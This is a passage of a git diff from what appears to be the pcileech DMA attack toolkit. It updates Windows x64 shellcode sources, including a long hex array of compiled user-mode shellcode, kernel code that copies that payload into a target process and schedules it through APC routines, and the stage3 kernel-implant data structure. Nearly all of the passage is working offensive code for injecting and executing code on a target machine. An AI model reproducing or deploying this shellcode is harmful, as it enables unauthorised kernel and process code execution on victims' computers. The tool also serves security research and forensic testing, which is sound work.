0x8f, 0x0c, 0x17, 0x48, 0x89, 0x07, 0x48, 0x8b, - 0xcb, 0xe8, 0x12, 0xfe, 0xff, 0xff, 0xba, 0x72, 0xfe, 0xb3, 0x16, 0x48, - 0x89, 0x47, 0x08, 0x48, 0x8b, 0xcb, 0xe8, 0x01, 0xfe, 0xff, 0xff, 0xba, - 0x6b, 0xd0, 0x2b, 0xca, 0x48, 0x89, 0x47, 0x10, 0x48, 0x8b, 0xcb, 0xe8, - 0xf0, 0xfd, 0xff, 0xff, 0xba, 0x74, 0xab, 0x30, 0xac, 0x48, 0x89, 0x47, - 0x18, 0x48, 0x8b, 0xcb, 0xe8, 0xdf, 0xfd, 0xff, 0xff, 0xba, 0x66, 0x19, - 0xda, 0x75, 0x48, 0x89, 0x47, 0x20, 0x48, 0x8b, 0xcb, 0xe8, 0xce, 0xfd, - 0xff, 0xff, 0xba, 0xfa, 0x97, 0x02, 0x4c, 0x48, 0x89, 0x47, 0x28, 0x48, - 0x8b, 0xcb, 0xe8, 0xbd, 0xfd, 0xff, 0xff, 0xba, 0xf6, 0xea, 0xba, 0x5c, - 0x48, 0x89, 0x47, 0x30, 0x48, 0x8b, 0xcb, 0xe8, 0xac, 0xfd, 0xff, 0xff, - 0xba, 0x16, 0x65, 0xfa, 0x10, 0x48, 0x89, 0x47, 0x38, 0x48, 0x8b, 0xcb, - 0xe8, 0x9b, 0xfd, 0xff, 0xff, 0xba, 0xb0, 0x49, 0x2d, 0xdb, 0x48, 0x89, - 0x47, 0x40, 0x48, 0x8b, 0xcb, 0xe8, 0x8a, 0xfd, 0xff, 0xff, 0xba, 0x1f, - 0x79, 0x0a, 0xe8, 0x48, 0x89, 0x47, 0x48, 0x48, 0x8b, 0xcb, 0xe8, 0x79, - 0xfd, 0xff, 0xff, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x89, 0x47, 0x50, - 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, - 0x48, 0x8b, 0xc1, 0x48, 0x8d, 0x54, 0x24, 0x30, 0x48, 0x8b, 0x89, 0x90, - 0x00, 0x00, 0x00, 0xff, 0x50, 0x28, 0x33, 0xc9, 0x85, 0xc0, 0x74, 0x0f, - 0x81, 0x7c, 0x24, 0x30, 0x03, 0x01, 0x00, 0x00, 0x75, 0x05, 0xb9, 0x01, - 0x00, 0x00, 0x00, 0x8b, 0xc1, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc, - 0x48, 0x89, 0x5c, 0x24, 0x10, 0x56, 0x48, 0x83, 0xec, 0x30, 0x83, 0xb9, - 0x98, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xd9, 0x0f, 0x84, 0xba, 0x00, - 0x00, 0x00, 0xbe, 0x00, 0x08, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0xe8, 0xa5, - 0xff, 0xff, 0xff, 0x85, 0xc0, 0x0f, 0x84, 0xa5, 0x00, 0x00, 0x00, 0x48, - 0x8b, 0x83, 0x80, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0x8b, 0x88, 0x00, 0x00, - 0x00, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x8b, 0x48, 0x10, 0x41, 0x8b, - 0x51, 0x08, 0x81, 0xe1, 0xff, 0x07, 0x00, 0x00, 0x81, 0xe2, 0xff, 0x07, - 0x00, 0x00, 0x3b, 0xca, 0x8b, 0xc2, 0x48, 0x8b, 0x4b, 0x68, 0x77, 0x08, - 0x44, 0x8b, 0xc6, 0x44, 0x2b, 0xc2, 0xeb, 0x03, 0x45, 0x33, 0xc0, 0x49, - 0x8d, 0x51, 0x68, 0x48, 0x03, 0xd0, 0x4c, 0x8d, 0x4c, 0x24, 0x40, 0xff, - 0x53, 0x48, 0x85, 0xc0, 0x74, 0x56, 0x48, 0x8b, 0x8b, 0x88, 0x00, 0x00, - 0x00, 0x8b, 0x44, 0x24, 0x40, 0x48, 0x01, 0x41, 0x08, 0xeb, 0x1d, 0x83, - 0xbb, 0x98, 0x00, 0x00, 0x00, 0x00, 0x74, 0x3c, 0x48, 0x8b, 0xcb, 0xe8, - 0x2c, 0xff, 0xff, 0xff, 0x85, 0xc0, 0x74, 0x23, 0xb9, 0x0a, 0x00, 0x00, - 0x00, 0xff, 0x53, 0x50, 0x48, 0x8b, 0x8b, 0x88, 0x00, 0x00, 0x00, 0x48, - 0x8b, 0x83, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x49, 0x08, 0x48, 0x2b, - 0x48, 0x10, 0x48, 0x3b, 0xce, 0x73, 0xc8, 0x83, 0xbb, 0x98, 0x00, 0x00, - 0x00, 0x00, 0x0f, 0x85, 0x4b, 0xff, 0xff, 0xff, 0x48, 0x8b, 0xcb, 0xe8, - 0xe8, 0xfc, 0xff, 0xff, 0x48, 0x8b, 0x5c, 0x24, 0x48, 0x48, 0x83, 0xc4, - 0x30, 0x5e, 0xc3, 0xcc, 0x40, 0x53, 0x48, 0x83, 0xec, 0x30, 0x83, 0xb9, - 0x98, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xd9, 0x0f, 0x84, 0x85, 0x00, - 0x00, 0x00, 0x48, 0x8b, 0xcb, 0xe8, 0xc6, 0xfe, 0xff, 0xff, 0x85, 0xc0, - 0x74, 0x79, 0x48, 0x8b, 0x93, 0x88, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x8b, - 0x80, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x42, 0x10, 0x48, 0x39, 0x41, 0x08, - 0x75, 0x0a, 0xb9, 0x0a, 0x00, 0x00, 0x00, 0xff, 0x53, 0x50, 0xeb, 0x4a, - 0x44, 0x8b, 0x41, 0x08, 0x48, 0x8d, 0x51, 0x68, 0x48, 0x83, 0x64, 0x24, - 0x20, 0x00, 0x4c, 0x8d, 0x4c, 0x24, 0x40, 0x48, 0x8b, 0x4b, 0x60, 0x25, - 0xff, 0x07, 0x00, 0x00, 0x41, 0x81, 0xe0, 0xff, 0x07, 0x00, 0x00, 0x48, - 0x03, 0xd0, 0x41, 0x3b, 0xc0, 0x72, 0x06, 0x41, 0xb8, 0x00, 0x08, 0x00, - 0x00, 0x44, 0x2b, 0xc0, 0xff, 0x53, 0x58, 0x85, 0xc0, 0x74, 0x1c, 0x48, - 0x8b, 0x8b, 0x88, 0x00, 0x00, 0x00, 0x8b, 0x44, 0x24, 0x40, 0x48, 0x01, - 0x41, 0x10, 0x83, 0xbb, 0x98, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x85, 0x7b, - 0xff, 0xff, 0xff, 0x48, 0x8b, 0xcb, 0xe8, 0x39, 0xfc, 0xff, 0xff, 0x48, - 0x83, 0xc4, 0x30, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, - 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xec, 0x50, 0x48, - 0x8b, 0xfa, 0x48, 0x8b, 0xd9, 0x48, 0x8b, 0xcf, 0xba, 0xfa, 0x97, 0x02, - 0x4c, 0xe8, 0x7e, 0xfb, 0xff, 0xff, 0xba, 0xa0, 0x00, 0x00, 0x00, 0x8d, - 0x4a, 0xa0, 0xff, 0xd0, 0x48, 0x8d, 0x8b, 0xe8, 0x0e, 0x00, 0x00, 0x48, - 0x8b, 0xf0, 0x48, 0x89, 0x08, 0x48, 0x8d, 0x50, 0x08, 0x48, 0x8b, 0xcf, - 0xe8, 0x1f, 0xfd, 0xff, 0xff, 0x48, 0x8b, 0x0e, 0x48, 0x83, 0xb9, 0x08, - 0x01, 0x00, 0x00, 0x00, 0x0f, 0x84, 0x84, 0x00, 0x00, 0x00, 0x48, 0x83, - 0x64, 0x24, 0x38, 0x00, 0x4c, 0x8d, 0x44, 0x24, 0x30, 0xc7, 0x44, 0x24, - 0x30, 0x18, 0x00, 0x00, 0x00, 0x48, 0xba, 0x21, 0x95, 0xef, 0xdf, 0x32, - 0x12, 0x65, 0x12, 0xbf, 0x01, 0x00, 0x00, 0x00, 0xbb, 0x00, 0x08, 0x00, - 0x00, 0x89, 0x7c, 0x24, 0x40, 0x44, 0x8b, 0xcb, 0x48, 0x8b, 0x06, 0x48, - 0x8b, 0x88, 0x08, 0x01, 0x00, 0x00, 0x48, 0x89, 0x8e, 0x80, 0x00, 0x00, - 0x00, 0x48, 0x8b, 0x80, 0x08, 0x01, 0x00, 0x00, 0x48, 0x05, 0x00, 0x10, - 0x00, 0x00, 0x48, 0x89, 0x86, 0x88, 0x00, 0x00, 0x00, 0x48, 0x89, 0x11, - 0x48, 0x8d, 0x4e, 0x78, 0x48, 0x8b, 0x86, 0x88, 0x00, 0x00, 0x00, 0x48, - 0x89, 0x10, 0x48, 0x8d, 0x56, 0x60, 0xff, 0x56, 0x10, 0x48, 0x8d, 0x56, - 0x70, 0x44, 0x8b, 0xcb, 0x48, 0x8d, 0x4e, 0x68, 0x4c, 0x8d, 0x44, 0x24, - 0x30, 0xff, 0x56, 0x10, 0x89, 0xbe, 0x98, 0x00, 0x00, 0x00, 0x48, 0x8b, - 0xce, 0xe8, 0xb2, 0xfb, 0xff, 0xff, 0x85, 0xc0, 0x75, 0x10, 0x48, 0x8b, - 0xce, 0xe8, 0x42, 0xfb, 0xff, 0xff, 0x48, 0x8b, 0xce, 0xff, 0x56, 0x40, - 0xeb, 0x45, 0x48, 0x8b, 0x06, 0x48, 0x83, 0xb8, 0x08, 0x01, 0x00, 0x00, - 0x00, 0x74, 0x38, 0x48, 0x83, 0x64, 0x24, 0x28, 0x00, 0x4c, 0x8d, 0x05, - 0x44, 0xfe, 0xff, 0xff, 0x83, 0x64, 0x24, 0x20, 0x00, 0x4c, 0x8b, 0xce, - 0x33, 0xd2, 0x33, 0xc9, 0xff, 0x56, 0x20, 0x48, 0x83, 0x64, 0x24, 0x28, - 0x00, 0x4c, 0x8d, 0x05, 0x40, 0xfd, 0xff, 0xff, 0x83, 0x64, 0x24, 0x20, - 0x00, 0x4c, 0x8b, 0xce, 0x33, 0xd2, 0x33, 0xc9, 0xff, 0x56, 0x20, 0x48, - 0x8b, 0x5c, 0x24, 0x60, 0x48, 0x8b, 0x74, 0x24, 0x68, 0x48, 0x83, 0xc4, - 0x50, 0x5f, 0xc3 + 0x41, 0x78, 0x48, 0x8b, 0xd9, 0x33, 0xc9, 0x48, 0x89, 0x08, 0x39, 0x8b, + 0x88, 0x00, 0x00, 0x00, 0x74, 0x22, 0x89, 0x8b, 0x88, 0x00, 0x00, 0x00, + 0x48, 0x8b, 0x4b, 0x58, 0xff, 0x53, 0x08, 0x48, 0x8b, 0x4b, 0x50, 0xff, + 0x53, 0x08, 0x48, 0x8b, 0x4b, 0x60, 0xff, 0x53, 0x08, 0x48, 0x8b, 0x4b, + 0x68, 0xff, 0x53, 0x08, 0x48, 0x8b, 0x43, 0x70, 0x48, 0xb9, 0xac, 0xda, + 0x37, 0x13, 0x00, 0x22, 0xda, 0xfe, 0x48, 0x89, 0x08, 0x48, 0x8b, 0x43, + 0x78, 0x48, 0x89, 0x08, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, + 0x40, 0x53, 0x48, 0x83, 0xec, 0x70, 0xba, 0x68, 0x00, 0x00, 0x00, 0x48, + 0x8b, 0xd9, 0x8d, 0x4a, 0xd8, 0xff, 0x53, 0x30, 0xc7, 0x00, 0x68, 0x00, + 0x00, 0x00, 0xc7, 0x40, 0x3c, 0x00, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x13, + 0x48, 0x83, 0xba, 0x08, 0x01, 0x00, 0x00, 0x00, 0x74, 0x18, 0x48, 0x8b, + 0x4b, 0x60, 0x48, 0x89, 0x48, 0x58, 0x48, 0x8b, 0x4b, 0x68, 0x48, 0x89, + 0x48, 0x50, 0x48, 0x8b, 0x4b, 0x60, 0x48, 0x89, 0x48, 0x60, 0x48, 0x8b, + 0x13, 0x48, 0x8d, 0x4c, 0x24, 0x50, 0x48, 0x89, 0x4c, 0x24, 0x48, 0x45, + 0x33, 0xc9, 0x48, 0x89, 0x44, 0x24, 0x40, 0x45, 0x33, 0xc0, 0x48, 0x83, + 0x64, 0x24, 0x38, 0x00, 0x33, 0xc9, 0x48, 0x83, 0x64, 0x24, 0x30, 0x00, + 0x8b, 0x82, 0x10, 0x01, 0x00, 0x00, 0x89, 0x44, 0x24, 0x28, 0xc7, 0x44, + 0x24, 0x20, 0x01, 0x00, 0x00, 0x00, 0xff, 0x53, 0x18, 0x85, 0xc0, 0x74, + 0x26, 0x48, 0x8b, 0x4c, 0x24, 0x50, 0x48, 0x89, 0x8b, 0x80, 0x00, 0x00, + 0x00, 0x48, 0x8b, 0x0b, 0x48, 0x83, 0xb9, 0x08, 0x01, 0x00, 0x00, 0x00, + 0x74, 0x08, 0x48, 0x8b, 0x4c, 0x24, 0x58, 0xff, 0x53, 0x08, 0xb8, 0x01, + 0x00, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x70, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, + 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, + 0x89, 0x70, 0x18, 0x57, 0x48, 0x83, 0xec, 0x50, 0x48, 0x8b, 0xe9, 0xc7, + 0x40, 0xc8, 0xfb, 0x97, 0xfd, 0x0f, 0xc7, 0x40, 0xcc, 0x80, 0x8f, 0x0c, + 0x17, 0x48, 0x8d, 0x7a, 0x48, 0xc7, 0x40, 0xd0, 0x72, 0xfe, 0xb3, 0x16, + 0x48, 0x8d, 0x70, 0xec, 0xc7, 0x40, 0xd4, 0x6b, 0xd0, 0x2b, 0xca, 0xbb, + 0x09, 0x00, 0x00, 0x00, 0xc7, 0x40, 0xd8, 0x74, 0xab, 0x30, 0xac, 0xc7, + 0x40, 0xdc, 0xfa, 0x97, 0x02, 0x4c, 0xc7, 0x40, 0xe0, 0x16, 0x65, 0xfa, + 0x10, 0xc7, 0x40, 0xe4, 0xb0, 0x49, 0x2d, 0xdb, 0xc7, 0x40, 0xe8, 0x1f, + 0x79, 0x0a, 0xe8, 0x48, 0x8d, 0x76, 0xfc, 0x48, 0x8b, 0xcd, 0x8b, 0x16, + 0x48, 0x8d, 0x7f, 0xf8, 0xe8, 0xeb, 0xfd, 0xff, 0xff, 0x48, 0x89, 0x07, + 0x83, 0xc3, 0xff, 0x75, 0xe6, 0x48, 0x8b, 0x5c, 0x24, 0x60, 0x48, 0x8b, + 0x6c, 0x24, 0x68, 0x48, 0x8b, 0x74, 0x24, 0x70, 0x48, 0x83, 0xc4, 0x50, + 0x5f, 0xc3, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, 0x48, 0x8b, 0xc1, 0x48, + 0x8d, 0x54, 0x24, 0x30, 0x48, 0x8b, 0x89, 0x80, 0x00, 0x00, 0x00, 0xff, + 0x50, 0x28, 0x33, 0xc9, 0x85, 0xc0, 0x74, 0x0f, 0x81, 0x7c, 0x24, 0x30, + 0x03, 0x01, 0x00, 0x00, 0x75, 0x05, 0xb9, 0x01, 0x00, 0x00, 0x00, 0x8b, + 0xc1, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, + 0x10, 0x56, 0x48, 0x83, 0xec, 0x30, 0x83, 0xb9, 0x88, 0x00, 0x00, 0x00, + 0x00, 0x48, 0x8b, 0xd9, 0x0f, 0x84, 0xab, 0x00, 0x00, 0x00, 0xbe, 0x00, + 0x08, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0xe8, 0xa5, 0xff, 0xff, 0xff, 0x85, + 0xc0, 0x0f, 0x84, 0x96, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x43, 0x70, 0x4c, + 0x8b, 0x4b, 0x78, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x8b, 0x48, 0x10, + 0x41, 0x8b, 0x51, 0x08, 0x81, 0xe1, 0xff, 0x07, 0x00, 0x00, 0x81, 0xe2, + 0xff, 0x07, 0x00, 0x00, 0x3b, 0xca, 0x8b, 0xc2, 0x48, 0x8b, 0x4b, 0x58, + 0x77, 0x08, 0x44, 0x8b, 0xc6, 0x44, 0x2b, 0xc2, 0xeb, 0x03, 0x45, 0x33, + 0xc0, 0x49, 0x8d, 0x51, 0x68, 0x48, 0x03, 0xd0, 0x4c, 0x8d, 0x4c, 0x24, + 0x40, 0xff, 0x53, 0x38, 0x85, 0xc0, 0x74, 0x4d, 0x48, 0x8b, 0x4b, 0x78, + 0x8b, 0x44, 0x24, 0x40, 0x48, 0x01, 0x41, 0x08, 0xeb, 0x1d, 0x83, 0xbb, + 0x88, 0x00, 0x00, 0x00, 0x00, 0x74, 0x36, 0x48, 0x8b, 0xcb, 0xe8, 0x35, + 0xff, 0xff, 0xff, 0x85, 0xc0, 0x74, 0x1d, 0xb9, 0x0a, 0x00, 0x00, 0x00, + 0xff, 0x53, 0x40, 0x48, 0x8b, 0x4b, 0x78, 0x48, 0x8b, 0x43, 0x70, 0x48, + 0x8b, 0x49, 0x08, 0x48, 0x2b, 0x48, 0x10, 0x48, 0x3b, 0xce, 0x73, 0xce, + 0x83, 0xbb, 0x88, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x85, 0x5a, 0xff, 0xff, + 0xff, 0x48, 0x8b, 0xcb, 0xe8, 0x5b, 0xfd, 0xff, 0xff, 0x48, 0x8b, 0x5c, + 0x24, 0x48, 0x48, 0x83, 0xc4, 0x30, 0x5e, 0xc3, 0x40, 0x53, 0x48, 0x83, + 0xec, 0x30, 0x83, 0xb9, 0x88, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xd9, + 0x74, 0x78, 0x48, 0x8b, 0xcb, 0xe8, 0xda, 0xfe, 0xff, 0xff, 0x85, 0xc0, + 0x74, 0x6c, 0x48, 0x8b, 0x53, 0x78, 0x48, 0x8b, 0x4b, 0x70, 0x48, 0x8b, + 0x42, 0x10, 0x48, 0x39, 0x41, 0x08, 0x75, 0x0a, 0xb9, 0x0a, 0x00, 0x00, + 0x00, 0xff, 0x53, 0x40, 0xeb, 0x47, 0x44, 0x8b, 0x41, 0x08, 0x48, 0x8d, + 0x51, 0x68, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x4c, 0x8d, 0x4c, 0x24, + 0x40, 0x48, 0x8b, 0x4b, 0x50, 0x25, 0xff, 0x07, 0x00, 0x00, 0x41, 0x81, + 0xe0, 0xff, 0x07, 0x00, 0x00, 0x48, 0x03, 0xd0, 0x41, 0x3b, 0xc0, 0x72, + 0x06, 0x41, 0xb8, 0x00, 0x08, 0x00, 0x00, 0x44, 0x2b, 0xc0, 0xff, 0x53, + 0x48, 0x85, 0xc0, 0x74, 0x15, 0x48, 0x8b, 0x4b, 0x78, 0x8b, 0x44, 0x24, + 0x40, 0x48, 0x01, 0x41, 0x10, 0x83, 0xbb, 0x88, 0x00, 0x00, 0x00, 0x00, + 0x75, 0x88, 0x48, 0x8b, 0xcb, 0xe8, 0xbe, 0xfc, 0xff, 0xff, 0x48, 0x83, + 0xc4, 0x30, 0x5b, 0xc3, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, + 0x24, 0x10, 0x57, 0x48, 0x83, 0xec, 0x50, 0x48, 0x8b, 0xfa, 0x48, 0x8b, + 0xd9, 0x48, 0x8b, 0xcf, 0xba, 0xfa, 0x97, 0x02, 0x4c, 0xe8, 0x06, 0xfc, + 0xff, 0xff, 0xba, 0x90, 0x00, 0x00, 0x00, 0x8d, 0x4a, 0xb0, 0xff, 0xd0, + 0x48, 0x8d, 0x8b, 0xe8, 0x0e, 0x00, 0x00, 0x48, 0x8b, 0xf0, 0x48, 0x89, + 0x08, 0x48, 0x8d, 0x50, 0x08, 0x48, 0x8b, 0xcf, 0xe8, 0x83, 0xfd, 0xff, + 0xff, 0x48, 0x8b, 0x0e, 0x48, 0x83, 0xb9, 0x08, 0x01, 0x00, 0x00, 0x00, + 0x74, 0x7b, 0x48, 0x83, 0x64, 0x24, 0x38, 0x00, 0x4c, 0x8d, 0x44, 0x24, + 0x30, 0xc7, 0x44, 0x24, 0x30, 0x18, 0x00, 0x00, 0x00, 0x48, 0xba, 0x21, + 0x95, 0xef, 0xdf, 0x32, 0x12, 0x65, 0x12, 0xbf, 0x01, 0x00, 0x00, 0x00, + 0xbb, 0x00, 0x08, 0x00, 0x00, 0x89, 0x7c, 0x24, 0x40, 0x44, 0x8b, 0xcb, + 0x48, 0x8b, 0x06, 0x48, 0x8b, 0x88, 0x08, 0x01, 0x00, 0x00, 0x48, 0x89, + 0x4e, 0x70, 0x48, 0x8b, 0x80, 0x08, 0x01, 0x00, 0x00, 0x48, 0x05, 0x00, + 0x10, 0x00, 0x00, 0x48, 0x89, 0x46, 0x78, 0x48, 0x89, 0x11, 0x48, 0x8d, + 0x4e, 0x68, 0x48, 0x8b, 0x46, 0x78, 0x48, 0x89, 0x10, 0x48, 0x8d, 0x56, + 0x50, 0xff, 0x56, 0x10, 0x48, 0x8d, 0x56, 0x60, 0x44, 0x8b, 0xcb, 0x48, + 0x8d, 0x4e, 0x58, 0x4c, 0x8d, 0x44, 0x24, 0x30, 0xff, 0x56, 0x10, 0x89, + 0xbe, 0x88, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xce, 0xe8, 0x3f, 0xfc, 0xff, + 0xff, 0x85, 0xc0, 0x75, 0x0a, 0x48, 0x8b, 0xce, 0xe8, 0xd7, 0xfb, 0xff, + 0xff, 0xeb, 0x45, 0x48, 0x8b, 0x06, 0x48, 0x83, 0xb8, 0x08, 0x01, 0x00, + 0x00, 0x00, 0x74, 0x38, 0x48, 0x83, 0x64, 0x24, 0x28, 0x00, 0x4c, 0x8d, + 0x05, 0x6b, 0xfe, 0xff, 0xff, 0x83, 0x64, 0x24, 0x20, 0x00, 0x4c, 0x8b, + 0xce, 0x33, 0xd2, 0x33, 0xc9, 0xff, 0x56, 0x20, 0x48, 0x83, 0x64, 0x24, + 0x28, 0x00, 0x4c, 0x8d, 0x05, 0x77, 0xfd, 0xff, 0xff, 0x83, 0x64, 0x24, + 0x20, 0x00, 0x4c, 0x8b, 0xce, 0x33, 0xd2, 0x33, 0xc9, 0xff, 0x56, 0x20, + 0x48, 0x8b, 0x5c, 0x24, 0x60, 0x48, 0x8b, 0x74, 0x24, 0x68, 0x48, 0x83, + 0xc4, 0x50, 0x5f, 0xc3 }; - unsigned int wx64_exec_user_bin_len = 1539; + *ppb = wx64_exec_user_bin; // user data + *pcb = sizeof(wx64_exec_user_bin); +} +#endif /* ! _EXEC_USER_EXTERNAL */ + +#ifdef _EXEC_USER_EXTERNAL +VOID GetUserExecShellcode(_In_ PKMDDATA pk, _Out_ PBYTE *ppb, _Out_ PDWORD pcb) +{ + *ppb = pk->ReservedKMD[2]; // user data + *pcb = 0x1000 - (pk->ReservedKMD[2] & 0xfff); +} +#endif /* _EXEC_USER_EXTERNAL */ + +//---------------------------------------------------------------------------------------------------------- +// USER MODE CODE SETUP BELOW: +//---------------------------------------------------------------------------------------------------------- + +NTSTATUS IntializeUserModeCode(_In_ PKMDDATA pk, _In_ PKERNEL_FUNCTIONS fnk, _In_ PKERNEL_FUNCTIONS2 fnk2, PBYTE pb, QWORD qwAddrConsoleBuffer) +{ + PBYTE pbCodeUser; + DWORD cbCodeUser; + GetUserExecShellcode(pk, &pbCodeUser, &cbCodeUser); + + pk->ReservedKMD[4] = 0x7777666677776666; + pk->ReservedKMD[5] = pbCodeUser; + pk->ReservedKMD[6] = cbCodeUser; + pk->ReservedKMD[6] = *(PQWORD)pbCodeUser; PUSERSHELL_CONFIG pCfg = (PUSERSHELL_CONFIG)(pb + 0x1000 - sizeof(USERSHELL_CONFIG)); SIZE_T cchProcToStart = fnk2->strnlen(pk->dataInStr, MAX_PATH); @@ -395,7 +407,7 @@ NTSTATUS IntializeUserModeCode(_In_ PKMDDATA pk, _In_ PKERNEL_FUNCTIONS fnk, _In return E_INVALIDARG; } fnk->RtlZeroMemory(pb, 0x1000); - fnk->RtlCopyMemory(pb, wx64_exec_user_bin, wx64_exec_user_bin_len); + fnk->RtlCopyMemory(pb, pbCodeUser, cbCodeUser); fnk->RtlCopyMemory(pCfg->szProcToStart, pk->dataInStr, MAX_PATH); pCfg->fCreateProcess = (DWORD)pk->dataIn[1]; pCfg->qwAddrConsoleBuffer = qwAddrConsoleBuffer; @@ -444,6 +456,7 @@ QWORD SetupConsoleBufferUserMode(_In_ PKMDDATA pk, _In_ PKERNEL_FUNCTIONS fnk, _ //---------------------------------------------------------------------------------------------------------- // Windows 7 APC ROUTINES BELOW (WORKAROUND FOR MISSING ntoskrnl!RtlCreateUserThread). //---------------------------------------------------------------------------------------------------------- +#ifdef _WIN7_COMPAT /* * The KernelApcRoutine is called after the user mode APC is completed. @@ -614,6 +627,7 @@ VOID ActionDefault_QueueApcState(_In_ PKMDDATA pk, _In_ PKERNEL_FUNCTIONS fnk, _ fail: if(pKApc) { fnk->ExFreePool(pKApc); } } +#endif /* _WIN7_COMPAT */ //---------------------------------------------------------------------------------------------------------- // MAIN CODE BELOW: @@ -692,12 +706,15 @@ VOID ActionDefault(_In_ PKMDDATA pk, _In_ PKERNEL_FUNCTIONS fnk, _In_ PKERNEL_FU goto fail; } CommonSleep(fnk, 250); - } else { + } +#ifdef _WIN7_COMPAT + else { // Windows 7 fallback to more complicated KeInsertQueueApc method. ActionDefault_QueueApcState(pk, fnk, fnk2, Process, ApcState, pvAddressUserMode); } +#endif /* _WIN7_COMPAT */ fail: - if(ZwProcessHandle) { fnk2->ZwClose(ZwProcessHandle); } + if(ZwProcessHandle) { fnk->ZwClose(ZwProcessHandle); } if(Process) { fnk2->ObDereferenceObject(Process); } } diff --git a/pcileech_shellcode/wx64_stage3_c.c b/pcileech_shellcode/wx64_stage3_c.c index b7e9310..740481a 100644 --- a/pcileech_shellcode/wx64_stage3_c.c +++ b/pcileech_shellcode/wx64_stage3_c.c @@ -1,6 +1,6 @@ // wx64_stage3_c.c : stage3 main shellcode. // -// (c) Ulf Frisk, 2016 +// (c) Ulf Frisk, 2016, 2017 // Author: Ulf Frisk, pcileech@frizk.net // #include @@ -140,30 +140,30 @@ typedef struct tdNTOS { * KMD DATA struct. This struct must be contained in a 4096 byte section (page). * This page/struct is used to communicate between the inserted kernel code and * the pcileech program. -* VNR: 002 +* VNR: 003 */ typedef struct tdKMDDATA { QWORD MAGIC; // [0x000] magic number 0x0ff11337711333377. - QWORD AddrKernelBase; // [0x008] pre-filled by stage2, virtual address of KERNEL HEADER (WINDOWS/OSX). + QWORD AddrKernelBase; // [0x008] pre-filled by stage2, virtual address of kernel header (WINDOWS/MACOS). QWORD AddrKallsymsLookupName; // [0x010] pre-filled by stage2, virtual address of kallsyms_lookup_name (LINUX). QWORD DMASizeBuffer; // [0x018] size of DMA buffer. QWORD DMAAddrPhysical; // [0x020] physical address of DMA buffer. QWORD DMAAddrVirtual; // [0x028] virtual address of DMA buffer. QWORD _status; // [0x030] status of operation QWORD _result; // [0x038] result of operation TRUE|FALSE - QWORD _address; // [0x040] virtual address to operate on. + QWORD _address; // [0x040] address to operate on. QWORD _size; // [0x048] size of operation / data in DMA buffer. QWORD OperatingSystem; // [0x050] operating system type - QWORD ReservedKMD; // [0x058] reserved for specific kmd data (dependant on KMD version). - QWORD ReservedFutureUse1[20]; // [0x060] reserved for future use. + QWORD ReservedKMD[8]; // [0x058] reserved for specific kmd data (dependant on KMD version). + QWORD ReservedFutureUse1[13]; // [0x098] reserved for future use. QWORD dataInExtraLength; // [0x100] length of extra in-data. QWORD dataInExtraOffset; // [0x108] offset from DMAAddrPhysical/DMAAddrVirtual. QWORD dataInExtraLengthMax; // [0x110] maximum length of extra in-data. QWORD dataInConsoleBuffer; // [0x118] physical address of 1-page console buffer. QWORD dataIn[28]; // [0x120] - QWORD dataOutExtraLength; // [0x200] length of extra in-data. + QWORD dataOutExtraLength; // [0x200] length of extra out-data. QWORD dataOutExtraOffset; // [0x208] offset from DMAAddrPhysical/DMAAddrVirtual. - QWORD dataOutExtraLengthMax; // [0x210] maximum length of extra in-data. + QWORD dataOutExtraLengthMax; // [0x210] maximum length of extra out-data. QWORD dataOutConsoleBuffer; // [0x218] physical address of 1-page console buffer. QWORD dataOut[28]; // [0x220] NTOS fn; // [0x300] used by shellcode to store function pointers. @@ -227,17 +227,22 @@ VOID stage3_c_EntryPoint(PKMDDATA pk) { pk->MAGIC = 0x0ff11337711333377; pk->OperatingSystem = KMDDATA_OPERATING_SYSTEM_WINDOWS; - pk->fn.ExFreePool = PEGetProcAddressH(pk->AddrKernelBase, H_ExFreePool); - pk->fn.MmFreeContiguousMemory = PEGetProcAddressH(pk->AddrKernelBase, H_MmFreeContiguousMemory); - pk->fn.MmAllocateContiguousMemory = PEGetProcAddressH(pk->AddrKernelBase, H_MmAllocateContiguousMemory); - pk->fn.MmGetPhysicalAddress = PEGetProcAddressH(pk->AddrKernelBase, H_MmGetPhysicalAddress); - pk->fn.MmGetPhysicalMemoryRanges = PEGetProcAddressH(pk->AddrKernelBase, H_MmGetPhysicalMemoryRanges); - pk->fn.MmMapIoSpace = PEGetProcAddressH(pk->AddrKernelBase, H_MmMapIoSpace); - pk->fn.MmUnmapIoSpace = PEGetProcAddressH(pk->AddrKernelBase, H_MmUnmapIoSpace); - pk->fn.PsCreateSystemThread = PEGetProcAddressH(pk->AddrKernelBase, H_PsCreateSystemThread); - pk->fn.RtlCopyMemory = PEGetProcAddressH(pk->AddrKernelBase, 